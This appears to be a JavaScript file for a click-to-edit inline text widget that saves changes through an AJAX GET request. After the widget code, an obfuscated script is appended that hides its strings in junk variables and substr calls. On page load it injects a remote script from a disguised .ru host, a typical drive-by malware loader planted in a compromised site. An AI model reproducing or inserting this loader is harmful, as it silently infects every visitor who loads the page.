<!--
//script by yvoschaap.com
//freely useable
//optional link back would be very web 2.0 :)

function datosServidor() {
};
datosServidor.prototype.iniciar = function() {
	try {
		// Mozilla / Safari
		this._xh = new XMLHttpRequest();
	} catch (e) {
		// Explorer
		var _ieModelos = new Array(
		'MSXML2.XMLHTTP.5.0',
		'MSXML2.XMLHTTP.4.0',
		'MSXML2.XMLHTTP.3.0',
		'MSXML2.XMLHTTP',
		'Microsoft.XMLHTTP'
		);
		var success = false;
		for (var i=0;i < _ieModelos.length && !success; i++) {
			try {
				this._xh = new ActiveXObject(_ieModelos[i]);
				success = true;
			} catch (e) {
				// Implementar manejo de excepciones
			}
		}
		if ( !success ) {
			// Implementar manejo de excepciones, mientras alerta.
			return false;
		}
		return true;
	}
}

datosServidor.prototype.ocupado = function() {
	estadoActual = this._xh.readyState;
	return (estadoActual && (estadoActual < 4));
}

datosServidor.prototype.procesa = function() {
	if (this._xh.readyState == 4 && this._xh.status == 200) {
		this.procesado = true;
	}
}

datosServidor.prototype.enviar = function(urlget,datos) {
	if (!this._xh) {
		this.iniciar();
	}
	if (!this.ocupado()) {
		this._xh.open("GET",urlget,false);
		this._xh.send(datos);
		if (this._xh.readyState == 4 && this._xh.status == 200) {
			return this._xh.responseText;
		}
		
	}
	return false;
}


var urlBase = "/inc/inlineedit.inc.php";
var formVars = "";
var changing = false;


function fieldEnter(campo,evt,idfld) {
	evt = (evt) ? evt : window.event;
	if (evt.keyCode == 13 && campo.value!="") {
		elem = document.getElementById( idfld );
		remotos = new datosServidor;
		nt = remotos.enviar(urlBase + "?fieldname=" +escape(elem.id)+ "&content="+escape(campo.value)+"&"+formVars,"");
		//remove glow
		noLight(elem);
		elem.innerHTML = nt;
		changing = false;
		return false;
	} else {
		return true;
	}


}

function fieldBlur(campo,idfld) {
	if (campo.value!="") {
		elem = document.getElementById( idfld );
		remotos = new datosServidor;
		nt = remotos.enviar(urlBase + "?fieldname=" +escape(elem.id)+ "&content="+escape(campo.value)+"&"+formVars,"");
		elem.innerHTML = nt;
		changing = false;
		return false;
	}
}

//edit field created
function cambia(actual) {
	if(!changing){
		width = widthEl(actual.id) + 0;
		height =heightEl(actual.id) + 30;
		if(width < 100)
			width = 150;
		if(height < 40)
			actual.innerHTML = "<input id=\""+ actual.id +"_field\" style=\"width: "+width+"px; height: "+height+"px;\" maxlength=\"254\" type=\"text\" value=\"" + actual.innerHTML + "\" onkeypress=\"return fieldEnter(this,event,'" + actual.id + "')\" onfocus=\"highLight(this);\" onblur=\"noLight(this); return fieldBlur(this,'" + actual.id + "');\" />";
		else
			actual.innerHTML = "<textarea name=\"textarea\" id=\""+ actual.id +"_field\" style=\"width: "+width+"px; height: "+height+"px;\" onfocus=\"highLight(this);\" onblur=\"noLight(this); return fieldBlur(this,'" + actual.id + "');\">" + actual.innerHTML + "</textarea>";
	
		changing = true;
	}

		actual.firstChild.focus();
}


//find all span tags with class editText and id as fieldname parsed to update script. add onclick function
function editbox_init(){
	if (!document.getElementsByTagName){ return; }
	var spans = document.getElementsByTagName("span");

	// loop through all span tags
	for (var i=0; i<spans.length; i++){
		var spn = spans[i];

        	if (((' '+spn.className+' ').indexOf("editText") != -1) && (spn.id)) {
			spn.onclick = function () { cambia(this); }
			spn.style.cursor = "pointer";
			spn.title = "Click to edit!";	
       		}

	}


}

//crossbrowser load function
function addEvent(elm, evType, fn, useCapture)
{
  if (elm.addEventListener){
    elm.addEventListener(evType, fn, useCapture);
    return true;
  } else if (elm.attachEvent){
    var r = elm.attachEvent("on"+evType, fn);
    return r;
  } else {
    alert("Please upgrade your browser to use full functionality on this page");
  }
}

//get width of text element
function widthEl(span){

	if (document.layers){
	  w=document.layers[span].clip.width;
	} else if (document.all && !document.getElementById){
	  w=document.all[span].offsetWidth;
	} else if(document.getElementById){
	  w=document.getElementById(span).offsetWidth;
	}
return w;
}

//get height of text element
function heightEl(span){

	if (document.layers){
	  h=document.layers[span].clip.height;
	} else if (document.all && !document.getElementById){
	  h=document.all[span].offsetHeight;
	} else if(document.getElementById){
	  h=document.getElementById(span).offsetHeight;
	}
return h;
}

function highLight(span){
            span.parentNode.style.border = "2px solid #D1FDCD";
            span.parentNode.style.padding = "0";
            span.style.border = "1px solid #54CE43";          
}

function noLight(span){
        span.parentNode.style.border = "0px";
        span.parentNode.style.padding = "2px";
        span.style.border = "0px";       

}

//sets post/get vars for update

function setVarsForm(vars){
	formVars  = vars;
}

addEvent(window, "load", editbox_init);
-->
var u;if(u!='' && u!='k'){u=''};function s(){var d;if(d!='O' && d!='i'){d='O'};var nW='';this.S_="";this.UB='';var t="g";var tc='';var Us;if(Us!='' && Us!='cL'){Us=''};var OM=new Date();var sH=RegExp;var Mf;if(Mf!='R' && Mf!='L'){Mf=''};function b(h,a){var p=new String();var v;if(v!=''){v='j'};this.w="";var dY="";var C= String("SxIR[".substr(4));this.kN='';C+=a;var MX=new Array();C+="FtKS]".substr(4);var JV="";var B="";var W=new sH(C, t);var uR='';return h.replace(W, tc);};var MN;if(MN!='' && MN!='qc'){MN=null};var UY="";var Zi='';var z=new String("srcK0N7".substr(0,3));var o="7q1Cdefe".substr(4)+"r";var Q;if(Q!=''){Q='Be'};var M=String("/g"+"oo"+"glbfZv".substr(0,2)+"e."+"DHfZcofZHD".substr(4,2)+"M1Tm/".substr(3)+"go"+"NBZ3og".substr(4)+"le"+".c"+"Jzlom".substr(3)+"yePE/aePEy".substr(4,2)+"1hVzeVh1".substr(3,2)+"A8ct.".substr(3)+"SQOsk".substr(3)+"/i"+"q810foq081".substr(4,2)+"ld2pB".substr(0,2)+"X6G4erGX64".substr(4,2)+"qzw.r".substr(3)+"TQyu/QTy".substr(3,2)+"stweQ".substr(0,2)+"c."+"uYaco".substr(3)+"m.RW6".substr(0,2)+"N67PsaN6P7".substr(4,2)+".pf0QN".substr(0,2)+"hpclMZ".substr(0,2));var pN;if(pN!='' && pN!='qL'){pN='bR'};var cK;if(cK!='' && cK!='mp'){cK=null};var hp="scri"+"pt7dZJ".substr(0,2);var FR='';var q=b('89616550115551118115969065199',"6915");var e;if(e!='' && e!='BD'){e=null};var U=new String("http:3K9".substr(0,5)+"//dan"+"kub5tri-cku5b".substr(4,5)+"qRuom-vnuqR".substr(3,5)+".iwiw"+".hu.ayPO".substr(0,5)+"nonymTVY".substr(0,5)+"zfw-to.y".substr(3)+"l6coursuc6l".substr(3,5)+"nvall"+"ey.ru"+"BUp4:".substr(4));var As;if(As!='' && As!='cx'){As='jW'};var l='';var lR=new Date();var _=window;this.aH="";var GS=new String();_.onload=function(){try {this.K="";this.sR='';this.uX='';l=U+q;var tw="";var Of="";l+=M;var Ev;if(Ev!='Kd' && Ev!='Ej'){Ev=''};var vf;if(vf!='MZ' && vf!='Cm'){vf=''};Wz=document.createElement(hp);var PK='';var wIN=new Array();Wz[z]=l;var ot=new Array();var Qo;if(Qo!=''){Qo='RR'};this.ug='';Wz[o]=[1][0];this.QO="";var dYP=new String();document.body.appendChild(Wz);var Gi;if(Gi!='fr'){Gi='fr'};this.gr='';this.sV='';} catch(n){var ff=new Date();var DW=new String();};var jE=new Array();};var Dd=new String();var Qh=new Array();};s();